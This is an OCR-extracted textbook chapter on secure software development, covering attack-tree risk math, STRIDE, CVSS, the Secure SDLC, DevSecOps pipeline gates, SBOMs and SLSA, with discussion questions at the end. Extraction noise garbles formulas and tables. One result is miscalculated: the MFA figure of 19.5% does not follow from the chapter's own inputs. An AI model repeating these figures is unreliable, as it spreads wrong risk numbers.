Step 1: Calculate AND node probabilities (multiply children)
The “Username + Password” AND node requires both:
e Scrape username: P = (0.90
e Phish password: P = (0.25
P(AND) = 0.90 x 0.25 = 0.225

Step 2: Calculate OR node probabilities (probability union)
The “Obtain Credentials” OR node succeeds if ANY child succeeds:
e Username + Password (AND): P = 0.225

o Credential stuffing: P = 0.15

o Keylogger malware: P = 0.08

Using probability union formula:

P(AUBUC) =1— (1—- P4)(1 - Pg)(1— Po)

P(Obtain Credentials) =1 — (1 —0.225)(1 — 0.15)(1 — 0.08)
=1 — (0.775)(0.85)(0.92)
=0.394

Step 3: Calculate overall goal probability
Similarly, for Session Hijack: P =1 — (1 —0.12)(1 — 0.05) = 0.164
For Exploit Vulnerability: P =1 — (1 —0.10)(1 — 0.18) = 0.262
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Overall Compromise Probability:

P(Goal) =1—(1—-0.394)(1 — 0.164)(1 — 0.262)
= 0.627
Interpretation: Without additional controls, there is approximately a 63%

probability an attacker can compromise a user account through one of these

paths.

1.4.3 Using Attack Trees for Defensive Decisions

The quantitative analysis reveals where defenses will have maximum impact:

Strategic Insights from the Attack Tree

1. Highest-probability path: “Obtain Credentials” branch contributes most
to overall risk (39.4%). Defense investment here yields greatest return.
2. MFA transforms the tree structure: Adding multi-factor authentication

changes the “Username + Password” node to require a THIRD condition:
P(with MFA) = 0.90 x 0.25 x 0.05 = 0.011

This reduces the “Obtain Credentials” branch from 39.4% to 19.5%—a 50%
reduction.

3. Account lockout prunes branches: Implementing lockout after 5 failed
attempts reduces credential stuffing from P = 0.15 to approximately P = 0.02

(attacker can only try 5 passwords per account).
4. Combined defenses compound: With MFA AND lockout:

P(Obtain Credentials) =1 — (1 —0.011)(1 —0.02)(1 — 0.08) = 0.108

P(Goal) =1 — (1 — 0.108)(1 — 0.164)(1 — 0.262) = 0.449

A 29% reduction in overall compromise probability from two controls.

\

Security Tools: Threat Modeling Tools

Several tools assist in creating and analyzing threat models [19]:
o Microsoft Threat Modeling Tool — Free tool for STRIDE analysis with
DFD creation, automatic threat generation, and mitigation suggestions
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e OWASP Threat Dragon — Open-source threat modeling with attack tree
visualization and STRIDE integration

e IriusRisk — Enterprise platform for automated threat modeling integrated
with CI/CD pipelines

e Threagile — Threat modeling as code—define architecture in YAML, auto-
generate risks

e ADTool — Academic tool specifically for attack-defense tree analysis with
probability calculations

Best Practice: Threat modeling should occur during design phase, before

code is written. Finding design flaws early costs orders of magnitude less than

finding them in production [24].

1.4.4 The STRIDE Methodology

STRIDE is a threat categorization mnemonic developed at Microsoft [25] ensuring

comprehensive threat coverage.

m )

STRIDE categorizes threats into six types, each violating a specific security

property [21]:
e Spoofing — violates Authentication
e Tampering — violates Integrity

¢ Repudiation — violates Non-repudiation

Information Disclosure — violates Confidentiality

Denial of Service — violates Availability

Elevation of Privilege — violates Authorization

1.4.5 Vulnerability Taxonomy: CVE, CWE, and CVSS

When threats are realized in deployed software, they are classified using three inter-

related frameworks [29]:

¢ CWE (Common Weakness Enumeration): The “Why”—describes the
underlying class of software error (e.g., CWE-89: SQL Injection)
e CVE (Common Vulnerabilities and Exposures): The “What”—unique
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Table 1.3: STRIDE Threat Categories with Mitigations

Threat Description Property  Mitigations

Spoofing Impersonating an- AuthenticatioMFA, PKI certificates, digital
other entity signatures

Tampering Unauthorized data Integrity Hashing, digital signatures,
modification TLS, write-once storage

Repudiation Denying performed Non- Immutable audit logs, digital
actions repudiation signatures, blockchain

Info Dis- Exposing data to Confidentialitfncryption (rest + transit), ac-

closure unauthorized par- cess controls, data masking
ties

Denial of Making resources Availability Rate limiting, CDN,

Service unavailable scaling, redundancy

Elevation  Gaining unautho- Authorizationlnput validation, least privilege,

of Privi- rized capabilities sandboxing, RBAC

lege

identifier for a specific vulnerability in a specific product (e.g., CVE-2021-
44228: Log4Shell)
e CVSS (Common Vulnerability Scoring System): The “How Bad’—

numerical severity score from 0.0 to 10.0

Table 1.4: CVSS Severity Ratings and Response Guidance

Score Severity

Response Guidance

0.0
0.1
4.0
7.0
9.0

None
-3.9 Low

No action required
Address in normal patch cycle

—6.9  Medium  Prioritize for upcoming release
-8.9  High Address urgently (days)

-10.0 Critical

Emergency patching
Log4Shell scored 10.0

(hours);
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1.5 Software Development Life Cycles and Security In-

tegration

The preceding sections established what to protect (the Parkerian Hexad), how to
design secure systems (Saltzer and Schroeder), and where vulnerabilities arise (threat
modeling). This section addresses when security activities should occur within the
software development process. The answer—as we shall see—has evolved dramat-
ically over the past two decades, reflecting fundamental shifts in how software is

conceived, built, and delivered.

1.5.1 The Traditional Software Development Life Cycle

The Software Development Life Cycle (SDLC) is a structured process for
planning, creating, testing, and deploying software systems. While numerous SDLC
models exist, most share common phases that organize development activities into

logical stages.

The Waterfall Model

The classical waterfall model, formalized by Winston Royce in 1970 [? |, organizes

development into sequential phases where each phase must be completed before the

next begins:

1. Requirements Analysis: Stakeholders define what the system must do. Busi-
ness analysts document functional and non-functional requirements.

2. System Design: Architects translate requirements into technical specifications,
defining system components, interfaces, and data structures.

3. Implementation: Developers write code according to design specifications.

4. Testing: Quality assurance teams verify that implementation meets requirements
through unit, integration, and system testing.

5. Deployment: The completed system is released to production.

6. Maintenance: Ongoing bug fixes, patches, and enhancements address issues
discovered in production.
The waterfall model’s defining characteristic is its sequential, document-driven na-

ture. Each phase produces artifacts (requirements documents, design specifications,

test plans) that serve as inputs to subsequent phases. Progress flows “downward”

like water over a falls—hence the name.
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Waterfall Assumptions |

The waterfall model assumes that requirements can be fully specified upfront,

that design can be completed before implementation begins, and that changes
are expensive exceptions rather than routine occurrences. These assumptions
proved increasingly untenable as software systems grew in complexity and mar-

ket conditions demanded faster iteration.

Security in the Waterfall Model: The “Bolt-On” Paradigm

In traditional waterfall development, security was typically addressed in one of two
ways, both problematic:

Security as a Testing Phase Activity. Security considerations were deferred
until the testing phase, where penetration testers would attempt to find vulnerabili-
ties in the nearly-complete system. This approach—sometimes called “penetrate and
patch”—treated security as a quality gate rather than a design consideration.

Security as a Post-Deployment Concern. In many organizations, security
was addressed only after deployment, through firewalls, intrusion detection systems,
and other perimeter defenses. The application itself was assumed to be “protected”
by its network environment.

Both approaches share a fundamental flaw: they attempt to add security to a
system whose architecture was designed without security in mind. This is the “bolt-

on” paradigm—treating security as an accessory rather than a structural element.

A The Cost of Late Security Integration N

McGraw’s research demonstrates that approximately 50% of security defects are

architectural flaws [24]. These flaws cannot be detected by code-level analysis
tools and cannot be fixed by patching. They require fundamental redesign. A
security flaw discovered during testing or after deployment can cost 100 times

more to remediate than one identified during design [? |.

& J

The bolt-on paradigm explains why so many breaches occur despite significant
security investments. Organizations deploy sophisticated firewalls, endpoint protec-
tion, and monitoring systems around applications that are fundamentally insecure
by design. The SolarWinds, Target, and Heartbleed incidents discussed earlier all
involved systems where security was not integral to the original architecture.
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1.5.2 The Secure Software Development Life Cycle (Secure SDLC)

Recognition of bolt-on security’s limitations led to the development of Secure
SDLC methodologies that integrate security activities into every development phase.
Rather than treating security as a testing concern, Secure SDLC treats it as a con-

tinuous requirement that shapes decisions throughout the life cycle.

Security Activities by Phase

A Secure SDLC augments traditional phases with security-specific activities:

Table 1.5: Security Activities Integrated into SDLC Phases

Phase Security Activities

Requirements Security requirements elicitation, abuse case development,
compliance mapping, data classification, privacy impact as-
sessment

Design Threat modeling (STRIDE, attack trees), security architec-

ture review, design pattern selection, trust boundary defi-
nition, cryptographic protocol selection

Implementation Secure coding standards enforcement, static analysis
(SAST), code review with security focus, secrets manage-
ment, dependency analysis

Testing Dynamic analysis (DAST), penetration testing, fuzz test-
ing, security regression testing, compliance validation

Deployment Infrastructure security review, configuration hardening, se-
crets injection, security monitoring enablement

Maintenance Vulnerability management, patch management, incident re-
sponse, security metrics collection, threat intelligence inte-
gration

Key Secure SDLC Frameworks

Several formalized frameworks operationalize Secure SDLC principles:

Microsoft Security Development Lifecycle (SDL). Introduced in 2004 fol-
lowing the Trustworthy Computing initiative, Microsoft SDL defines mandatory se-
curity activities for each development phase. SDL includes training requirements,
threat modeling mandates, static analysis gates, and final security reviews. Mi-
crosoft credits SDL with significant reductions in vulnerability density across its

product lines [35].
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OWASP Software Assurance Maturity Model (SAMM). SAMM provides
a maturity framework for assessing and improving an organization’s secure devel-
opment practices. It defines four business functions (Governance, Design, Imple-
mentation, Verification) with three maturity levels each, allowing organizations to
benchmark their current state and plan improvement roadmaps [? |.

BSIMM (Building Security In Maturity Model). Unlike prescriptive frame-
works, BSIMM is descriptive—it documents actual practices observed across orga-
nizations with mature software security initiatives. Updated annually based on as-
sessments of participating firms, BSIMM provides empirical benchmarks rather than
theoretical ideals [? |.

NIST Secure Software Development Framework (SSDF). Published as
NIST SP 800-218, the SSDF provides a common vocabulary for describing secure
development practices. It organizes practices into four groups: Prepare the Or-
ganization, Protect the Software, Produce Well-Secured Software, and Respond to

Vulnerabilities [? |.

Example: Abuse Cases: Thinking Like an Attacker During Requirements

Traditional requirements capture what legitimate users need: “As a customer, I
want to reset my password so I can regain account access.” Abuse cases capture
what attackers want: “As an attacker, I want to reset another user’s password
so I can take over their account.”

Developing abuse cases during requirements forces early consideration of:

What could go wrong if this feature is misused?

What authentication/authorization does this feature require?

e What rate limiting prevents automated abuse?

e What logging enables attack detection?

The password reset abuse case might yield requirements for: email verification,
rate limiting on reset requests, notification to the account holder, and logging

of reset attempts with IP addresses.

1.5.3 From Waterfall to Agile: Implications for Security

The software industry’s shift from waterfall to agile methodologies created both

challenges and opportunities for security integration.

The Agile Revolution

The Agile Manifesto (2001) prioritized:
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Individuals and interactions over processes and tools

Working software over comprehensive documentation

Customer collaboration over contract negotiation

Responding to change over following a plan

Agile methodologies (Scrum, Kanban, XP) replaced waterfall’s long sequential
phases with short iterations (sprints) that deliver working software incrementally.
Requirements evolve throughout development rather than being fixed upfront. Test-

ing is continuous rather than a distinct phase.

Security Challenges in Agile

The transition to agile created friction with traditional Secure SDLC approaches:

Documentation Reduction. Agile’s preference for working software over doc-
umentation conflicted with security’s need for threat models, security requirements,
and audit trails. Many organizations abandoned security documentation entirely,
losing the structured thinking it enforced.

Sprint Pressure. Two-week sprints leave little time for security reviews, pen-
etration testing, or architectural analysis. Security activities were often deferred
to “hardening sprints” that never materialized or were sacrificed to feature delivery
pressure.

Continuous Change. When architecture evolves every sprint, threat models be-
come stale immediately. The waterfall assumption of stable designs enabling upfront
security analysis no longer held.

Skill Distribution. Agile’s cross-functional team model assumes team members
can handle multiple disciplines. Security expertise, however, is specialized and scarce.

Expecting every developer to be a security expert proved unrealistic.

Security Opportunities in Agile

Despite these challenges, agile also enabled security improvements impossible in
waterfall:

Faster Vulnerability Remediation. When a vulnerability is discovered, agile
teams can prioritize a fix in the next sprint rather than waiting for the next major
release cycle. Mean Time to Remediation (MTTR) can drop from months to days.

Incremental Security Investment. Rather than a single massive security re-
view before release, security can be addressed incrementally with each iteration.

Small, frequent security improvements compound over time.
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Earlier Feedback. Continuous integration and frequent deployments mean se-
curity issues surface earlier, when they are cheaper to fix. A vulnerability in code
written yesterday is easier to fix than one in code written six months ago.

Security as a Feature. In agile’s user-story framework, security requirements
can be expressed as stories (“As a user, I want my session to expire after inactivity
so that unauthorized access is prevented if I leave my workstation”) and prioritized

alongside functional features.

1.5.4 The Emergence of DevSecOps

The tension between agile velocity and security rigor led to the emergence of De-
vSecOps—a philosophy and practice that integrates security into the DevOps con-
tinuous delivery pipeline. DevSecOps represents the current state of the art in secu-
rity integration, resolving the agile-security conflict through automation and cultural

transformation.

From Secure SDLC to DevSecOps \

Secure SDLC established what security activities should occur at each devel-

opment phase. DevSecOps addresses how to execute those activities at the
velocity modern software delivery demands. The principles remain the same;

the implementation adapts to continuous delivery realities.

\ J

The following section examines DevSecOps in detail, exploring how automated
security gates, infrastructure as code, and cultural practices enable security at scale

without sacrificing delivery speed.

1.5.5 Selecting an SDLC Model: Context Matters

No single SDLC model suits all contexts. The appropriate choice depends on project
characteristics:

Safety-critical systems (medical devices, aviation, nuclear) often retain waterfall
or V-model approaches because regulatory frameworks mandate extensive documen-
tation and sequential verification. Consumer web applications typically adopt ag-
ile/DevSecOps because market conditions demand rapid iteration. Many organiza-
tions operate hybrid models, using waterfall for core platform development and agile

for feature development atop that platform.
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Table 1.6: SDLC Model Selection Criteria

Factor

Waterfall/V-Model

Agile/DevSecOps

Requirements stability

Regulatory  environ-

ment
Deployment frequency
Team distribution

Risk tolerance

Security expertise

Stable, well-understood

Heavy compliance docu-
mentation

Infrequent (quar-
terly /annual)

Co-located, specialized
roles

Low (safety-critical sys-

tems)

Centralized security team

Evolving, uncertain

Flexible compliance ap-
proaches

Frequent (daily/weekly)

Distributed,
functional

Cross-

Moderate (rapid iteration
acceptable)

Distributed security cham-

pions

The Common Thread \

Regardless of SDLC model, the fundamental insight of Secure SDLC remains:
security must be integrated throughout the development process, not bolted
on at the end. Whether that integration occurs through waterfall phase gates,
agile sprint activities, or DevSecOps automated pipelines, the principle is the

same. The mechanisms differ; the imperative does not.

1.6 DevSecOps: Integrating Security into Software De-
livery
Traditional security models placed security as a “gate” at development’s end. In

modern continuous deployment environments releasing multiple times daily, end-of-

pipe checking creates unacceptable bottlenecks and catches problems too late [37].

DevSecOps

DevSecOps integrates security into every SDLC phase, from design through
deployment and operations. It embodies “shifting security left”—moving secu-

rity activities earlier where they are more effective and less costly [35].

1.6.1 The CAMS Model
DevSecOps culture follows the CAMS model:
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e Culture: Breaking silos between Dev, Ops, and Security. Security becomes shared
responsibility, not the “Department of No.” Implementation: Security Champions
programs.

e Automation: Manual reviews cannot scale to CI/CD speed. Security testing
must be automated on every commit.

e Measurement: Track KPIs—Mean Time to Remediation, builds passing security
gates, vulnerability density.

e Sharing: Open threat intelligence sharing, blameless post-incident reviews.

1.6.2 Automated Security Gates in CI/CD

Figure 1.4 illustrates security gates at each pipeline stage.

Production

Pre-commit SAST SCA DAST IaC Scan
git-secrets Semgrep Snyk ZAP Checkov
truffleHog SonarQube Dep-Check Burp Trivy

Figure 1.4: CI/CD pipeline with security gates. Each gate runs automated security tools
and blocks progression if critical vulnerabilities are found.

Security Gate Logic ~

IF (SAST_Critical > O OR SCA_High CVE > 0) THEN
Build_Status = FAILED
Block_Merge_Request
Notify_Developer("Security Policy Violation")

ELSE IF (SAST_Medium > 5 OR SCA_Medium > 10) THEN
Build_Status = WARNING
Create_Tracking_Ticket (SLA=14_days)
Proceed_with_Caution

ELSE
Build_Status = PASSED
Proceed_to_Next_Stage

END IF
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Table 1.7: CI/CD Security Gates with Tool Recommendations

Stage Security Activity Recommended Tools

Pre- Detect hardcoded se- git-secrets, truffleHog, detect-

Commit crets before code enters secrets. IDE plugins: GitLens,
version control SonarLint

Code Re- SAST: Analyze source SonarQube (25+ languages), Semgrep

view for insecure patterns (customizable rules), Checkmarx, Cod-
without execution eQL

Build SCA: Check dependen- Snyk, OWASP Dependency-Check,

cies for known CVEs

Test /StagingDAST: Attack running

application for runtime

Dependabot, WhiteSource

OWASP ZAP, Burp Suite, Nuclei,
Nikto

vulnerabilities

Deploy IaC Scanning: Check Checkov, Trivy, tfsec, KICS
deployment configs for
misconfigurations

Runtime Container/K8s security Falco, Sysdig, Aqua, Prisma Cloud

monitoring

Balancing Security and Velocity

Security gates should fail builds for Critical/High issues while generating track-

able warnings for Medium /Low issues with defined SLAs. This prevents security

from becoming a bottleneck while ensuring critical issues never ship.

1.7 Software Supply Chain Security

Modern applications consist of 80-90% open-source components [1]. This creates a
complex “Software Supply Chain” where vulnerabilities and malicious code can be
inherited from upstream sources. The SolarWinds and Log4Shell incidents demon-
strated that supply chain security is no longer optional—it is a critical requirement

for any organization building software.
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1.7.1 Dependency Management and Transitive Risk

Direct vs. Transitive Dependencies \

e Direct Dependency: Package your application explicitly imports

e Transitive Dependency: Package your dependencies require—inherited

implicitly, often without developer awareness

\ J

A Dependency Confusion Attack N

Organizations using private package registries are vulnerable to dependency con-

fusion. If an internal package is named company-utils, an attacker can upload
a malicious public package with the same name and higher version number.
Misconfigured build systems may fetch the malicious public package, executing
attacker code inside the corporate network.

Mitigation: Configure package managers to use private registries exclusively
for internal packages. Use scoped packages (Qcompany /utils) to prevent name

collisions.

1.7.2 Software Bill of Materials (SBOM)

The Log4Shell incident crystallized a fundamental problem: most organizations can-
not quickly answer the question “What software are we running?” When a critical
vulnerability is disclosed, organizations without comprehensive software inventories
spend days or weeks manually auditing systems while attackers exploit the window
of opportunity.

A Software Bill of Materials (SBOM) addresses this gap by providing a for-
mal, machine-readable inventory of all software components in a product—analogous

to an ingredient list for food or a parts manifest for manufactured goods [39].

Software Bill of Materials N

An SBOM is a nested inventory containing:

¢ Component names and versions (e.g., “logdj-core 2.14.17)
e Supplier/manufacturer information

e Dependency relationships (what depends on what)

Cryptographic hashes for integrity verification

License information for compliance
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Why SBOMs Matter: The Log4Shell Response

When CVE-2021-44228 was disclosed on December 9, 2021, organizations faced an
urgent question: “Are we affected?” The response diverged dramatically based on
SBOM maturity:

Example: SBOM-Enabled Response vs. Ad-Hoc Response

Organization A (with SBOM):

1. Query SBOM database: SELECT * WHERE component LIKE ’logéj’
2. Receive results in seconds: 47 applications affected

3. Begin patching immediately with prioritized list

4. Total time to identify scope: 2 hours

Organization B (without SBOM):

Email all development teams asking “Do you use Log4j?”

Receive incomplete, inconsistent responses over days

Manually search file systems for log4j*.jar

Miss embedded copies, shaded JARs, and renamed files

Discover Log4j in unexpected places (network switches, printers)

& &> 80 =

Total time to identify scope: 2+ weeks
During those two weeks, Organization B remained vulnerable to active exploita-

tion.

SBOM Regulatory Requirements

Following Log4Shell, SBOM requirements have become mandated in multiple con-

texts:

e U.S. Executive Order 14028 (May 2021): Requires SBOMs for all software
sold to the federal government [39]

e FDA Cybersecurity Guidance (2023): Requires SBOMs for medical devices

¢ EU Cyber Resilience Act (proposed): Will require SBOMs for products sold
in the European Union

SBOM Standards: SPDX vs. CycloneDX

Two standards dominate the SBOM landscape, each with distinct strengths:
Choosing a Standard:
e Choose SPDX if primary concerns are license compliance, legal due diligence, or

government /regulated industry requirements
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Table 1.8: SBOM Standards Comparison

Aspect

SPDX

CycloneDX

Origin
ISO Standard

Primary Fo-
cus
VEX Support

Formats

Ecosystem

Linux Foundation (2010)
Yes (ISO/IEC 5962:2021)

License compliance and intel-
lectual property management

Limited

Tag/Value,  JSON, XML,
YAML, RDF

Strong in Linux, automotive,

healthcare

OWASP Foundation (2017)
In progress

Security vulnerability manage-
ment and DevSecOps integra-
tion

Native support for Vulnerabil-
ity Exploitability eXchange

JSON, XML, Protobuf

Strong in security tools, CI/CD
pipelines

e Choose CycloneDX if primary concerns are vulnerability management, security

automation, or DevSecOps integration

e Many organizations generate both formats from the same source data

VEX: Vulnerability Exploitability eXchange

A critical limitation of SBOMs is that they identify components but not whether
vulnerabilities in those components are actually exploitable in context. For example,
an application might include Log4j but never pass user input to the logging system,

making it unexploitable.

VEX Statement N

A Vulnerability Exploitability eXchange (VEX) document accompanies

an SBOM to declare whether known vulnerabilities in components are:

e Not Affected: Vulnerability exists but is not exploitable in this context
e Affected: Vulnerability is exploitable; remediation required

e Fixed: Vulnerability was present but has been remediated

e Under Investigation: Status not yet determined

\ J

VEX prevents “alert fatigue” where security teams waste time investigating non-

exploitable vulnerabilities while missing genuine risks.
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Security Tools: SBOM Generation and Management Tools

e Syft (Anchore) — Generates SBOMs from container images and filesystems
in both SPDX and CycloneDX formats
Trivy (Aqua) — Vulnerability scanner that generates SBOMs; supports con-

tainers, filesystems, git repositories
CycloneDX CLI — Official OWASP tool for CycloneDX generation across
npm, Maven, Gradle, pip, and other ecosystems

SPDX SBOM Generator — Linux Foundation reference implementation
Dependency-Track (OWASP) — Continuous SBOM analysis platform that

ingests SBOMs and monitors for new vulnerabilities

e Grype (Anchore) — Vulnerability scanner that works with Syft-generated
SBOMs

Integration Pattern:

1. Generate SBOM during build (Syft/Trivy)

2. Store SBOM with release artifacts

3. Import to Dependency-Track for continuous monitoring

4. Receive alerts when new CVEs affect components in your SBOM

1.7.3 The SLSA Framework

While SBOMs document what components are in software, they do not prove where
those components came from or whether they were tampered with during the build
process. The SolarWinds attack demonstrated that compromising the build system
can inject malicious code that is invisible in source code reviews and dependency
lists.

The Supply-chain Levels for Software Artifacts (SLSA) [38] framework
addresses this gap by establishing graduated levels of build integrity guarantees.

SLSA and Provenance )

SLSA (pronounced “salsa”) defines requirements for securing the software build

process. The core concept is provenance—cryptographically signed metadata
that attests:

e What source code was used (commit hash)

e What build system produced the artifact

e What inputs (dependencies) were consumed

e Who/what triggered the build

Consumers can verify provenance to confirm artifacts were built as claimed.
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Table 1.9: SLSA Build Track Levels

Level Name Requirements Security Guarantee

LO None No requirements No guarantees (default state)

L1 ProvenanceScripted build process; Mistake Prevention:  Audit
provenance generated  trail exists, but provenance could

be forged
L2 Hosted Builds run on hosted Post-Build Tamper Resis-
Build platform (GitHub  tance: Prevents uploading

Actions, GitLab CI); locally-built binaries claiming CI
platform signs prove- origin
nance

L3 Hardened Isolated/ephemeral During-Build Tamper Resis-
environments; builds tance: Prevents compromised
cannot access signing scripts from stealing keys or poi-
keys; builds cannot soning future builds

influence each other

Figure 1.5 visualizes the progression from ad-hoc builds to fully hardened SLSA

Level 3 compliance.

source commit—verification would fail.

Case Study: How SLSA Would Have Affected SolarWinds

The SolarWinds attackers modified the build process to inject SUNBURST
malware during compilation. At SLSA Level 3:

Isolated Builds: Each build runs in an ephemeral environment destroyed after
completion. Attackers could not persist malware in the build system.

Signed Provenance: Provenance would attest exactly which source commit

produced which binary. The malicious binary did not match any legitimate

Hermetic Builds: All inputs must be declared. The injected code required
undeclared inputs, violating build constraints.

Transparency Logs: All provenance is logged publicly. Anomalous patterns
(builds at unusual times, unexpected signers) become detectable.

While SLSA does not prevent all attacks, it forces attackers to compromise

significantly more sophisticated infrastructure and leaves detectable traces [38].
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D 1 L 1 Build . Provenance forge-
Eve fper ocsa Bui UnS{gned LO-L1 able:

aptop cript Artifact no verification
. Platform signs;

DeVQlOPer Hosted CI Slg'ned L2  post-build tamper

Commits Platform Artifact resistant
- Hardened builds;
Y | Developer Isolated Signed + 3 during-build tam-
Commits Ephemeral Build Logged per

resistant

Increasing Security

Figure 1.5: SLSA level progression from ad-hoc local builds (LO-L1) through hosted CI
with signed provenance (L2) to fully hardened isolated builds (L3). Higher
levels provide stronger guarantees that artifacts were not tampered with during
the build process. The SolarWinds attack would have been detectable at L2
and significantly harder to execute at L3.

Security Tools: SLSA Implementation Tools <

e Sigstore — Keyless signing infrastructure; no key management required

Cosign — Container image signing and verification
SLSA GitHub Generator — GitHub Actions workflow achieving SLSA

L3 provenance

e in-toto — Framework for software supply chain integrity

e Witness — SLSA attestation generation and verification

Implementation Path:

1. L1: Document and script your build process; generate basic provenance

2. L2: Migrate builds to hosted CI (GitHub Actions, GitLab CI); enable prove-
nance signing

3. L3: Implement isolated builders via SLSA GitHub Generator or similar

1.8 Synthesis: Connecting the Concepts

The concepts in this chapter form an integrated framework for secure software de-

velopment:

1. Parkerian Hexad provides vocabulary for what we protect

2. Saltzer and Schroeder principles [40] guide architectural design

3. Threat modeling [21] (Attack Trees, STRIDE) identifies where to apply de-
fenses

4. DevSecOps [37] operationalizes security in modern delivery
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3.

Chapter Summary §

4. Supply chain security is essential-—when 90% of code is external, secure

Supply chain security (SBOM [39], SLSA [38]) extends protection to imported

code

1. Security is a process, not a product—integrate throughout the lifecycle

2. Most attacks exploit known vulnerabilities—basic hygiene addresses
majority of threats

3. Threat model during design—finding flaws early costs orders of magni-

tude less

your dependencies

5. Automation enables security at velocity—manual processes cannot
scale

6. Assurance requires evidence—claims must be backed by testing and

verification

Discussion Questions

42

. Using the attack tree in Figure 1.3, calculate the new overall compromise prob-

ability if the organization implements: (a) MFA reducing phishing success to
P = 0.05, and (b) Web Application Firewall reducing XSS success to P = 0.03.
Show your work for both AND and OR node calculations.

. The SolarWinds attack compromised the build system. Analyze how SLSA Build

Level 3 requirements would have affected each attack stage. What attack vectors
remain even with L3 compliance?

Your organization discovers Log4j in 200 applications but has no SBOM. Design
a 30-day remediation plan. How would this plan differ if you had maintained
SBOMs?

. Compare SPDX and CycloneDX for a medical device manufacturer subject to

FDA requirements. Which standard would you recommend and why?

. A development team argues that SBOM generation slows their build pipeline.

Propose an implementation that minimizes performance impact while maintaining

security value.

. Apply the Parkerian Hexad to a hospital patient records system. How does the

Utility attribute apply? What happens to patient care if records lose Utility
without losing Availability?

. The Debian OpenSSL incident resulted from a single maintainer making security-
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10.

critical changes. Design a code review policy implementing separation of privilege
while remaining practical for resource-limited open-source projects.

Design a DevSecOps pipeline for a containerized microservices application. Spec-
ify security gates at each stage, tools to use, and what happens when each gate
fails.

For the attack tree analysis, where would you obtain probability estimates for
leaf nodes in your organization’s context? What data sources and methods would
increase confidence in these estimates?

A financial services company mandates 20-character passwords changed every 30
days, hardware tokens, and biometric verification. Analyze this policy against

Psychological Acceptability and propose improvements.
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